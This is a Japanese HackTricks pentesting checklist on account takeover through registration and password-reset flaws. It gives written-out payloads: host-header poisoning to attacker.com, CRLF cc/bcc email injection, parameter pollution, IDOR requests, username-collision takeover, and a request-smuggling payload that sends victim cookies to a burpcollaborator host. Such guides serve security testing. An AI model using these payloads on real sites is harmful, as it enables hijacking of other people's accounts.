12 KiB
登録と乗っ取りの脆弱性
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTコレクションを見る
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで@carlospolopmをフォローする🐦 @carlospolopm。
- ハッキングテクニックを共有するには、PRを HackTricksとHackTricks CloudのGitHubリポジトリに提出してください。
WhiteIntel
WhiteIntelは、ダークウェブを活用した検索エンジンで、盗難マルウェアによる企業や顧客の侵害をチェックするための無料機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
彼らのウェブサイトをチェックして、無料でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
登録の乗っ取り
重複登録
- 既存のユーザー名を使用して生成を試みる
- メールアドレスを変更して確認する:
- 大文字
- +1@
- メールにいくつかのドットを追加
- メール名に特殊文字(%00、%09、%20)
- メールの後に黒い文字を入れる:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
ユーザー名の列挙
ユーザー名がアプリケーション内で既に登録されているかどうかを確認します。
パスワードポリシー
ユーザーを作成するときにパスワードポリシーを確認します(弱いパスワードを使用できるかどうかを確認します)。
その場合、資格情報をブルートフォースで試すことができます。
SQLインジェクション
このページをチェックして、登録フォームでSQLインジェクションを使用してアカウント乗っ取りを試みたり情報を抽出したりする方法を学びます。
Oauth乗っ取り
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
SAML脆弱性
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
メールアドレスの変更
登録後、メールアドレスを変更して、この変更が正しく検証されるか、または任意のメールアドレスに変更できるかを確認します。
その他のチェック
- 使い捨てメールを使用できるかどうかを確認する
- 長いパスワード(>200)はDoSを引き起こす
- アカウント作成のレート制限を確認する
- username@burp_collab.netを使用して、コールバックを分析します
パスワードリセットの乗っ取り
リファラ経由のパスワードリセットトークンの漏洩
- メールアドレスにパスワードリセットをリクエストする
- パスワードリセットリンクをクリックする
- パスワードを変更しない
- 任意の第三者ウェブサイト(例:Facebook、Twitter)をクリックする
- Burp Suiteプロキシでリクエストをインターセプトする
- リファラヘッダーがパスワードリセットトークンを漏洩しているかどうかを確認する。
パスワードリセットポイズニング
- Burp Suiteでパスワードリセットリクエストをインターセプトする
- Burp Suiteで次のヘッダーを追加または編集する:
Host: attacker.com
、X-Forwarded-Host: attacker.com
- 修正されたヘッダーを使用してリクエストを転送する
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- _hostヘッダー_に基づいたパスワードリセットURLを探す:
https://attacker.com/reset-password.php?token=TOKEN
メールパラメータ経由のパスワードリセット
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
APIパラメーターにおけるIDOR
- 攻撃者は自分のアカウントでログインし、パスワード変更 機能に移動します。
- Burp Suiteを起動し、リクエストをインターセプトします。
- それをリピータータブに送信し、パラメーターを編集します:ユーザーID/メール
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
弱いパスワードリセットトークン
パスワードリセットトークンはランダムに生成され、毎回一意である必要があります。
トークンが期限切れかどうか、または常に同じかどうかを判断してください。場合によっては、生成アルゴリズムが弱く、推測される可能性があります。次の変数がアルゴリズムに使用されるかもしれません。
- タイムスタンプ
- ユーザーID
- ユーザーのメールアドレス
- 名前と姓
- 生年月日
- 暗号化
- 数字のみ
- 小さなトークンシーケンス([A-Z,a-z,0-9]の文字)
- トークンの再利用
- トークンの有効期限
パスワードリセットトークンの漏洩
- 特定のメール(例:test@mail.com)を使用してAPI/UIを介してパスワードリセットリクエストをトリガーします。
- サーバーの応答を検査し、
resetToken
を確認します。 - 次に、
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
のようなURLでトークンを使用します。
ユーザー名の衝突によるパスワードリセット
- 犠牲者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白が挿入されています。例:
"admin "
- 悪意のあるユーザー名でパスワードリセットをリクエストします。
- メールに送信されたトークンを使用して、犠牲者のパスワードをリセットします。
- 新しいパスワードで犠牲者のアカウントに接続します。
プラットフォームCTFdはこの攻撃に対して脆弱でした。
参照:CVE-2020-7245
クロスサイトスクリプティングによるアカウント乗っ取り
- アプリケーション内またはクッキーが親ドメインにスコープされている場合のサブドメイン内のXSSを見つけます:
*.domain.com
- 現在の セッションクッキー を漏洩させます。
- クッキーを使用してユーザーとして認証します。
HTTPリクエストスマグリングによるアカウント乗っ取り
- smuggler を使用してHTTPリクエストスマグリングのタイプを検出します(CL、TE、CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
\ POST / HTTP/1.1
を次のデータで上書きするリクエストを作成します:
GET http://something.burpcollaborator.net HTTP/1.1 X:
目的は被害者をburpcollabにリダイレクトしてクッキーを盗むことです。\- 最終リクエストは次のようになります。
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
アカウント乗っ取りのCSRF経由
- CSRF用のペイロードを作成、例: "パスワード変更のための自動送信付きHTMLフォーム"
- ペイロードを送信
JWT経由のアカウント乗っ取り
JSON Web Tokenはユーザーを認証するために使用される可能性があります。
- 別のユーザーID / メールでJWTを編集
- 弱いJWT署名をチェック
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
参考文献
WhiteIntel
WhiteIntelは、ダークウェブを活用した検索エンジンで、盗難マルウェアによる企業や顧客の侵害をチェックするための無料機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスウォッグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。